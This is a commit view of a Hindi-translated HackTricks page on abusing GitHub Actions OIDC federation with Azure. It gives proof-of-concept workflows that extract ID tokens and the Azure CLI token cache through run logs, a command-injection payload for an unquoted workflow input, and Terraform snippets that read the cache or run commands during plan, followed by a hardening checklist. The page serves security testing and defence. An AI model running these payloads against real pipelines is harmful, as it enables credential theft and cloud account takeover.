mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## अवलोकन
|
||||
|
||||
GitHub Actions OpenID Connect (OIDC) का उपयोग करके Azure Entra ID (formerly Azure AD) के साथ फ़ेडरेट कर सकता है। एक GitHub workflow एक short‑lived GitHub ID token (JWT) मांगता है जो रन के विवरण को encode करता है। Azure इस token को App Registration (service principal) पर मौजूद Federated Identity Credential (FIC) के खिलाफ validate करता है और इसे Azure access tokens (MSAL cache, bearer tokens for Azure APIs) के लिए exchange कर देता है।
|
||||
|
||||
Azure कम से कम निम्न का सत्यापन करता है:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (जब Azure tokens के लिए एक्सचेंज करते समय)
|
||||
- sub: configured FIC Subject identifier से मेल खाना चाहिए
|
||||
|
||||
> डिफ़ॉल्ट GitHub aud एक GitHub URL हो सकता है। Azure के साथ एक्सचेंज करते समय, स्पष्ट रूप से audience=api://AzureADTokenExchange सेट करें।
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
टोकन अनुरोध पर Azure audience को मजबूर करने के लिए:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Azure setup (Workload Identity Federation)
|
||||
|
||||
1) App Registration (service principal) बनाएँ और न्यूनतम अनुमतियाँ दें (उदा., किसी विशिष्ट storage account पर Storage Blob Data Contributor)।
|
||||
|
||||
2) Federated identity credentials जोड़ें:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: लक्षित workflow/run context के अनुरूप कड़ाई से स्कोप करें (नीचे Scoping and risks देखें)।
|
||||
|
||||
3) azure/login का उपयोग करके GitHub ID token एक्सचेंज करें और Azure CLI में साइन इन करें:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
मैन्युअल एक्सचेंज का उदाहरण (Graph स्कोप दिखाया गया है; ARM या अन्य संसाधन समान रूप से):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) संरचना और कस्टमाइज़ेशन
|
||||
|
||||
डिफ़ॉल्ट sub प्रारूप: repo:<org>/<repo>:<context>
|
||||
|
||||
Context मानों में शामिल हैं:
|
||||
- environment:<env>
|
||||
- pull_request (PR तब ट्रिगर होता है जब यह किसी environment में नहीं होता)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
payload में अक्सर मौजूद उपयोगी claims:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
अतिरिक्त claims शामिल करने और टकराव का जोखिम कम करने के लिए GitHub API के माध्यम से sub संरचना को कस्टमाइज़ करें:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
नोट: environment नामों में कोलन URL‑encoded (%3A) होते हैं, जो पुराने delimiter‑injection ट्रिक्स को sub parsing के खिलाफ हटाते हैं। हालाँकि, non‑unique subjects (उदा., केवल environment:<name>) का उपयोग अभी भी असुरक्षित है।
|
||||
|
||||
## FIC subject प्रकारों का स्कोप और जोखिम
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- जोखिम: अगर ब्रांच/टैग अप्रोटेक्टेड है, तो कोई भी contributor पुश करके टोकन प्राप्त कर सकता है।
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- जोखिम: अप्रोटेक्टेड environments (कोई reviewers नहीं) contributors को टोकन बनाने की अनुमति देते हैं।
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- सबसे अधिक जोखिम: कोई भी collaborator PR खोलकर FIC को पूरा कर सकता है।
|
||||
|
||||
PoC: PR‑triggered token चोरी (azure/login द्वारा लिखा गया Azure CLI cache को exfiltrate करना):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
संबंधित फ़ाइल स्थान और नोट्स:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json az CLI सत्रों के लिए MSAL टोकन रखता है
|
||||
- Windows: msal_token_cache.bin user profile के अंतर्गत; DPAPI‑protected
|
||||
|
||||
## Reusable workflows and job_workflow_ref scoping
|
||||
|
||||
एक reusable workflow को कॉल करने से GitHub ID token में job_workflow_ref जुड़ जाता है, उदा.:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
FIC उदाहरण: caller repo और reusable workflow दोनों को बाइंड करने के लिए:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
caller repo में claims कॉन्फ़िगर करें ताकि repo और job_workflow_ref दोनों sub: में मौजूद हों
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
चेतावनी: यदि आप FIC में केवल job_workflow_ref को bind करते हैं, तो एक attacker उसी org में एक अलग repo बना सकता है, उसी ref पर वही reusable workflow चला सकता है, FIC को satisfy कर सकता है, और tokens mint कर सकता है। हमेशा caller repo भी शामिल करें।
|
||||
|
||||
## job_workflow_ref protections को बाइपास करने वाले कोड निष्पादन वेक्टर
|
||||
|
||||
सही तरीके से scoped job_workflow_ref होने के बावजूद, कोई भी caller‑controlled डेटा जो सुरक्षित quoting के बिना shell तक पहुँचता है, protected workflow context के अंदर कोड निष्पादन का कारण बन सकता है।
|
||||
|
||||
उदाहरण: कमजोर reusable step (unquoted interpolation):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
कमांड निष्पादित करने और Azure token cache को exfiltrate करने के लिए दुर्भावनापूर्ण कॉलर इनपुट:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## PRs में execution primitive के रूप में Terraform plan
|
||||
|
||||
Terraform plan को कोड निष्पादन के रूप में मानें। plan के दौरान, Terraform कर सकता है:
|
||||
- file() जैसे functions के माध्यम से किसी भी फ़ाइल को पढ़ सकता है
|
||||
- external data source के माध्यम से commands execute कर सकता है
|
||||
|
||||
Example to exfiltrate Azure token cache during plan:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
या arbitrary commands चलाने के लिए external का उपयोग करें:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||
|
||||
## हार्डनिंग चेकलिस्ट
|
||||
|
||||
- सेंसिटिव FICs के लिए कभी sub=...:pull_request का उपयोग न करें
|
||||
- किसी भी branch/tag/environment की रक्षा करें जो FICs द्वारा संदर्भित हो (branch protection, environment reviewers)
|
||||
- reusable workflows के लिए repo और job_workflow_ref दोनों पर scoped FICs को प्राथमिकता दें
|
||||
- GitHub OIDC sub को कस्टमाइज़ करें ताकि इसमें unique claims शामिल हों (e.g., repo, job_workflow_ref, repository_owner)
|
||||
- caller inputs का unquoted interpolation run steps में न होने दें; encode/quote सुरक्षित तरीके से करें
|
||||
- terraform plan को code execution की तरह मानें; PR contexts में identities को प्रतिबंधित या अलग करें
|
||||
- App Registrations पर least privilege लागू करें; plan और apply के लिए अलग identities रखें
|
||||
- actions और reusable workflows को commit SHAs पर pin करें (branch/tag pins से बचें)
|
||||
|
||||
## मैनुअल टेस्टिंग टिप्स
|
||||
|
||||
- इन‑वर्कफ्लो में GitHub ID token का अनुरोध करें और masking से बचने के लिए इसे base64 में प्रिंट करें
|
||||
- JWT को decode करके claims जांचें: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- मैन्युअली ID token को login.microsoftonline.com के खिलाफ एक्सचेंज करके FIC matching और scopes की पुष्टि करें
|
||||
- azure/login के बाद ~/.azure/msal_token_cache.json पढ़ें ताकि token material की उपस्थिति सत्यापित की जा सके
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user